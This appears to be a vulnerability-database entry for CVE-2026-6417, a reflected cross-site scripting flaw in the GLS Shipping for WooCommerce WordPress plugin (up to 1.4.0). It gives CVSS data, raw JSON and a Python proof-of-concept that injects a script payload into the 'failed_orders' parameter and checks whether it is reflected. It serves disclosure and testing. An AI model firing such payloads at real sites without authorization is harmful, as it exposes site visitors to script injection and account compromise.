Security Vulnerability Report
中文
CVE-2026-6417 CVSS 6.1 MEDIUM

CVE-2026-6417

Published: 2026-05-14 06:16:25
Last Modified: 2026-05-14 14:28:41

Description

The GLS Shipping for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'failed_orders' parameter in all versions up to, and including, 1.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

GLS Shipping for WooCommerce <= 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-6417 # This script demonstrates the Reflected XSS vulnerability in GLS Shipping for WooCommerce import requests target_url = "http://example.com/wordpress/" # The vulnerable parameter is 'failed_orders' payload = "<script>alert('CVE-2026-6417_POC');</script>" # Construct the malicious URL exploit_url = f"{target_url}?failed_orders={payload}" print(f"[+] Testing target: {target_url}") print(f"[+] Exploit URL: {exploit_url}") try: # Send the request to trigger the vulnerability response = requests.get(exploit_url) # Check if the payload is reflected in the response (unescaped) if payload in response.text: print("[+] Vulnerability confirmed! The payload was reflected unescaped.") else: print("[-] Vulnerability not detected or payload was escaped.") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6417", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:24.927", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GLS Shipping for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'failed_orders' parameter in all versions up to, and including, 1.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3459927/gls-shipping-for-woocommerce#file48", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/61b9f259-644e-4172-bd99-704b59ec5493?source=cve", "source": "[email protected]"}]}}